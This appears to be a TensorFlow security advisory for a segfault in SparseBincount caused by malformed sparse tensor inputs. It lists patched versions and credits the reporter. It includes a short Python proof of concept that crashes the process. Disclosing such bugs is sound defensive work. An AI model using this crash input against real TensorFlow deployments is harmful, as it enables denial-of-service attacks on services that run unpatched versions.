Description

TensorFlow vulnerable to segfault in SparseBincount

Impact

If SparseBincount is given inputs for indices, values, and dense_shape that do not make a valid sparse tensor, it results in a segfault that can be used to trigger a denial of service attack.

import tensorflow as tf
binary_output = True
indices = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int64, seed=-1288)
values = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-9366)
dense_shape = tf.random.uniform(shape=[0], minval=-10000, maxval=10000, dtype=tf.int64, seed=-9878)
size = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-10000)
weights = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.float32, seed=-10000)
tf.raw_ops.SparseBincount(indices=indices, values=values, dense_shape=dense_shape, size=size, weights=weights, binary_output=binary_output)...
Show more

Patches

We have patched the issue in GitHub commit 40adbe4dd15b582b0210dfbf40c243a62f5119fa.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Di Jin, Secure Systems Labs, Brown University

Mitigation

Aliases

References